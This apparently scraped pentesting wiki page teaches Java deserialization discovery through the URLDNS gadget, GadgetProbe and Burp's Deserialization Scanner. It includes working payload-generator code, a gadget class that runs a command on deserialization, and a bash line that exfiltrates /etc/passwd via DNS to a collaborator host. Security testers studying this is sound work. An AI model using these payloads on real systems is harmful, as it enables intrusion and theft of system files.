#@ck3r
  • Welcome
  • Administrator
    • ActiveDirectory
      • Methodology
    • LDAP
    • Kerberos
  • HTB_CTF
    • It's Oops PM
  • 🕸️ Pentesting Web
    • Web Vulnerabilities Methodology
      • Reflecting Techniques - PoCs and Polygloths CheatSheet
        • Web Vulns List
    • 2FA/MFA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning via URL discrepancies
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
    • Cookies Hacking
      • Cookie Tossing
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
  • Dangling Markup - HTML scriptless injection
  • Dependency Confusion
  • Deserialization
    • NodeJS - __proto__ & prototype Pollution
      • Client Side Prototype Pollution
      • Express Prototype Pollution Gadgets
      • Prototype Pollution to RCE
    • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
    • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
    • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
    • Exploiting __VIEWSTATE without knowing the secrets
    • Python Yaml Deserialization
    • JNDI - Java Naming and Directory Interface & Log4Shell
    • Ruby Class Pollution
  • Page 1
Powered by GitBook
On this page
  • DNS request on deserialization
  • GadgetProbe
  • Java Deserialization Scanner
  • Serializable
  • Conclusion
  1. Deserialization

Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

PreviousCommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread SleepNextBasic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Last updated 3 months ago

Reading time: 7 minutes

The class java.net.URL implements Serializable, this means that this class can be serialized.

java

public final class URL implements java.io.Serializable {

This class have a curious behaviour. From the documentation: “Two hosts are considered equivalent if both host names can be resolved into the same IP addresses”. Then, every-time an URL object calls any of the functions equals or hashCode a DNS request to get the IP Address is going to be sent.

Calling the function hashCode from an URL object is fairly easy, it's enough to insert this object inside a HashMap that is going to be deserialized. This is because at the end of the readObject function from HashMap this code is executed:

java

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        [   ...   ]
    for (int i = 0; i < mappings; i++) {
        [   ...   ]
        putVal(hash(key), key, value, false, false);
    }

It is going the execute putVal with every value inside the HashMap. But, more relevant is the call to hash with every value. This is the code of the hash function:

java

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

As you can observe, when deserializing a HashMap the function hash is going to be executed with every object and during the hash execution it's going to be executed .hashCode() of the object. Therefore, if you deserializes a HashMap containing a URL object, the URL object will execute .hashCode().

Now, lets take a look to the code of URLObject.hashCode() :

java

 public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;

As you can see, when a URLObject executes.hashCode() it is called hashCode(this). A continuation you can see the code of this function:

java

 protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        [   ...   ]

You can see that a getHostAddress is executed to the domain, launching a DNS query.

Therefore, this class can be abused in order to launch a DNS query to demonstrate that deserialization is possible, or even to exfiltrate information (you can append as subdomain the output of a command execution).

java

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
    public static void GeneratePayload(Object instance, String file)
            throws Exception {
        //Serialize the constructed payload and write it to the file
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //Read the written payload and deserialize it
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        Object obj = in.readObject();
        System.out.println(obj);
        in.close();
    }

    public static void main(final String[] args) throws Exception {
        String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URLStreamHandler handler = new SilentURLStreamHandler();
    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

    // During the put above, the URL's hashCode is calculated and cached.
    // This resets that so the next time hashCode is called a DNS lookup will be triggered.
    final Field field = u.getClass().getDeclaredField("hashCode");
    field.setAccessible(true);
        field.set(u, -1);

        //Test the payloads
        GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
    }
}


class SilentURLStreamHandler extends URLStreamHandler {

    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }

    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

GadgetProbe will try to figure out if some Java classes exist on the Java class of the server so you can know if it's vulnerable to some known exploit.

GadgetProbe will use the same DNS payload of the previous section but before running the DNS query it will try to deserialize an arbitrary class. If the arbitrary class exists, the DNS query will be sent and GadgProbe will note that this class exist. If the DNS request is never sent, this means that the arbitrary class wasn't deserialized successfully so either it's not present or it''s not serializable/exploitable.

This scanner can be download from the Burp App Store (Extender). The extension has passive and active capabilities.

By default it checks passively all the requests and responses sent looking for Java serialized magic bytes and will present a vulnerability warning if any is found:

Manual Testing

You can select a request, right click and Send request to DS - Manual Testing. Then, inside the Deserialization Scanner Tab --> Manual testing tab you can select the insertion point. And launch the testing (Select the appropriate attack depending on the encoding used).

Even if this is called "Manual testing", it's pretty automated. It will automatically check if the deserialization is vulnerable to any ysoserial payload checking the libraries present on the web server and will highlight the ones vulnerable. In order to check for vulnerable libraries you can select to launch Javas Sleeps, sleeps via CPU consumption, or using DNS as it has previously being mentioned.

Exploiting

Once you have identified a vulnerable library you can send the request to the Exploiting Tab. I this tab you have to select the injection point again, an write the vulnerable library you want to create a payload for, and the command. Then, just press the appropriate Attack button.

Make your payload execute something like the following:

bash

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

In this POST it's going to be explained an example using java.io.Serializable.

Lets see an example with a class Person which is serializable. This class overwrites the readObject function, so when any object of this class is deserialized this function is going to be executed. In the example, the readObject function of the class Person calls the function eat() of his pet and the function eat() of a Dog (for some reason) calls a calc.exe. We are going to see how to serialize and deserialize a Person object to execute this calculator:

java

import java.io.Serializable;
import java.io.*;

public class TestDeserialization {
    interface Animal {
        public void eat();
    }
    //Class must implements Serializable to be serializable
    public static class Cat implements Animal,Serializable {
        @Override
        public void eat() {
            System.out.println("cat eat fish");
        }
    }
    //Class must implements Serializable to be serializable
    public static class Dog implements Animal,Serializable {
        @Override
        public void eat() {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
            System.out.println("dog eat bone");
        }
    }
    //Class must implements Serializable to be serializable
    public static class Person implements Serializable {
        private Animal pet;
        public Person(Animal pet){
            this.pet = pet;
        }
        //readObject implementation, will call the readObject from ObjectInputStream  and then call pet.eat()
        private void readObject(java.io.ObjectInputStream stream)
                throws IOException, ClassNotFoundException {
            pet = (Animal) stream.readObject();
            pet.eat();
        }
    }
    public static void GeneratePayload(Object instance, String file)
            throws Exception {
        //Serialize the constructed payload and write it to the file
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //Read the written payload and deserialize it
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        Object obj = in.readObject();
        System.out.println(obj);
        in.close();
    }
    public static void main(String[] args) throws Exception {
        // Example to call Person with a Dog
        Animal animal = new Dog();
        Person person = new Person(animal);
        GeneratePayload(person,"test.ser");
        payloadTest("test.ser");
        // Example to call Person with a Cat
        //Animal animal = new Cat();
        //Person person = new Person(animal);
        //GeneratePayload(person,"test.ser");
        //payloadTest("test.ser");
    }
}

As you can see in this very basic example, the "vulnerability" here appears because the readObject function is calling other vulnerable functions.

You can find the . However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial):

In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post:

You can download from the Burp Suite App Store (Extender).

Inside the github, with Java classes for being tested.

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/
https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

The Java Serializable interface (java.io.Serializable is a marker interface your classes must implement if they are to be serialized and deserialized. Java object serialization (writing) is done with the and deserialization (reading) is done with the .

The following example is from

DNS request on deserialization
URLDNS payload code example
URDNS payload code from ysoserial here
More information
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
GadgetProbe
How does it work
GadgetProbe has some wordlists
More Information
https://know.bishopfox.com/research/gadgetprobe
Java Deserialization Scanner
Passive
Active
Java Deserialization DNS Exfil information
More Information
https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/
Serializable
ObjectOutputStream
ObjectInputStream
https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649
Conclusion